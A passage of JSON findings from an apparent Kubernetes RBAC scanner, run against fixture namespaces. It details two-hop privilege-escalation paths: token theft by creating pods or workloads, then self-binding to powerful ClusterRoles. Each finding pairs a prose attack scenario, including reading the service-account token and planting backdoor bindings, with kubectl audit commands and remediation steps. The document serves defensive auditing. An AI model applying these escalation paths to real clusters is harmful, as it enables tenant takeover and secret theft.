        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "workload_create_token_theft",
        "technique": "KUBE-PRIVESC-003",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-workload-mutate",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "permission": "create deployments/daemonsets/statefulsets/jobs/cronjobs",
        "gains": "can create a workload whose pods run as ServiceAccount cutres/cutres-detour",
        "source_binding": "crb-workload-mutate",
        "source_role": "cr-workload-mutate"
      },
      {
        "step": 2,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "cutres"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/rbac-fixtures/sa-workload-mutate:namespace_admin:deepchain-tenant",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 7.05,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-workload-mutate` can reach **namespace-admin in `deepchain-tenant`** in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-workload-mutate` has a privesc path that ends at namespace-admin inside `deepchain-tenant`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `deepchain-tenant` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/deepchain-tenant/deepchain-binder` via `workload_create_token_theft` (create deployments/daemonsets/statefulsets/jobs/cronjobs): can create a workload whose pods run as ServiceAccount deepchain-tenant/deepchain-binder\n  2. `ServiceAccount/deepchain-tenant/deepchain-binder` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-workload-mutate",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "deepchain-tenant",
      "namespace": "deepchain-tenant"
    },
    "namespace": "deepchain-tenant",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-workload-mutate` → namespace-admin in `deepchain-tenant`: every workload, Secret, and ConfigMap inside `deepchain-tenant` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-workload-mutate` yields full takeover of `deepchain-tenant`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/rbac-fixtures/sa-workload-mutate` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/rbac-fixtures/sa-workload-mutate`, the attacker creates a workload (`create deployments/daemonsets/statefulsets/jobs/cronjobs`) whose pod template runs as `ServiceAccount/deepchain-tenant/deepchain-binder`. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-binder`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `deepchain-tenant`. They read every Secret and ConfigMap in `deepchain-tenant`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. workload_create_token_theft [create deployments/daemonsets/statefulsets/jobs/cronjobs]",
        "2. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "workload_create_token_theft",
      "hop_count": 2,
      "target": "namespace_admin",
      "target_namespace": "deepchain-tenant",
      "techniques": [
        "workload_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `deepchain-tenant`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n deepchain-tenant --as=system:serviceaccount:rbac-fixtures:sa-workload-mutate` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `deepchain-tenant` granting RBAC writes: `kubectl get role -n deepchain-tenant -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `deepchain-tenant` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "workload_create_token_theft",
        "technique": "KUBE-PRIVESC-003",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-workload-mutate",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "permission": "create deployments/daemonsets/statefulsets/jobs/cronjobs",
        "gains": "can create a workload whose pods run as ServiceAccount deepchain-tenant/deepchain-binder",
        "source_binding": "crb-workload-mutate",
        "source_role": "cr-workload-mutate"
      },
      {
        "step": 2,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "deepchain-tenant"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/rbac-fixtures/sa-workload-mutate:namespace_admin:rbac-ns-fixtures",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 7.05,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-workload-mutate` can reach **namespace-admin in `rbac-ns-fixtures`** in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-workload-mutate` has a privesc path that ends at namespace-admin inside `rbac-ns-fixtures`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `rbac-ns-fixtures` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/rbac-fixtures/sa-workload-mutate` → `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` via `workload_create_token_theft` (create deployments/daemonsets/statefulsets/jobs/cronjobs): can create a workload whose pods run as ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate\n  2. `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-workload-mutate",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "rbac-ns-fixtures",
      "namespace": "rbac-ns-fixtures"
    },
    "namespace": "rbac-ns-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-workload-mutate` → namespace-admin in `rbac-ns-fixtures`: every workload, Secret, and ConfigMap inside `rbac-ns-fixtures` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-workload-mutate` yields full takeover of `rbac-ns-fixtures`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/rbac-fixtures/sa-workload-mutate` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/rbac-fixtures/sa-workload-mutate`, the attacker creates a workload (`create deployments/daemonsets/statefulsets/jobs/cronjobs`) whose pod template runs as `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate`. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.",
      "Acting as `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `rbac-ns-fixtures`. They read every Secret and ConfigMap in `rbac-ns-fixtures`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. workload_create_token_theft [create deployments/daemonsets/statefulsets/jobs/cronjobs]",
        "2. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "workload_create_token_theft",
      "hop_count": 2,
      "target": "namespace_admin",
      "target_namespace": "rbac-ns-fixtures",
      "techniques": [
        "workload_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `rbac-ns-fixtures`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:rbac-fixtures:sa-workload-mutate` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `rbac-ns-fixtures` granting RBAC writes: `kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `rbac-ns-fixtures` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "workload_create_token_theft",
        "technique": "KUBE-PRIVESC-003",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-workload-mutate",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ns-rolebinding-mutate",
          "namespace": "rbac-ns-fixtures"
        },
        "permission": "create deployments/daemonsets/statefulsets/jobs/cronjobs",
        "gains": "can create a workload whose pods run as ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate",
        "source_binding": "crb-workload-mutate",
        "source_role": "cr-workload-mutate"
      },
      {
        "step": 2,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ns-rolebinding-mutate",
          "namespace": "rbac-ns-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "rbac-ns-fixtures"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/vulnerable/privileged-reader:namespace_admin:cutres",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 7.05,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/vulnerable/privileged-reader` can reach **namespace-admin in `cutres`** in 2 hop(s)",
    "description": "Subject `ServiceAccount/vulnerable/privileged-reader` has a privesc path that ends at namespace-admin inside `cutres`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `cutres` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/vulnerable/privileged-reader` → `ServiceAccount/cutres/cutres-detour` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount cutres/cutres-detour\n  2. `ServiceAccount/cutres/cutres-detour` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "privileged-reader",
      "namespace": "vulnerable"
    },
    "resource": {
      "kind": "Namespace",
      "name": "cutres",
      "namespace": "cutres"
    },
    "namespace": "cutres",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/vulnerable/privileged-reader` → namespace-admin in `cutres`: every workload, Secret, and ConfigMap inside `cutres` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/vulnerable/privileged-reader` yields full takeover of `cutres`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/vulnerable/privileged-reader` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/vulnerable/privileged-reader`, the attacker creates a pod that mounts the `ServiceAccount/cutres/cutres-detour` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/cutres/cutres-detour`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `cutres`. They read every Secret and ConfigMap in `cutres`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_create_token_theft [create pods]",
        "2. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "pod_create_token_theft",
      "hop_count": 2,
      "target": "namespace_admin",
      "target_namespace": "cutres",
      "techniques": [
        "pod_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `cutres`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/cutres/cutres-detour` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n cutres --as=system:serviceaccount:vulnerable:privileged-reader` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 2 (`ServiceAccount/cutres/cutres-detour` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `cutres` granting RBAC writes: `kubectl get role -n cutres -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `cutres` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "privileged-reader",
          "namespace": "vulnerable"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount cutres/cutres-detour",
        "source_binding": "privileged-reader",
        "source_role": "privileged-reader"
      },
      {
        "step": 2,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cutres-detour",
          "namespace": "cutres"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "cutres"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/vulnerable/privileged-reader:namespace_admin:deepchain-tenant",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 7.05,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/vulnerable/privileged-reader` can reach **namespace-admin in `deepchain-tenant`** in 2 hop(s)",
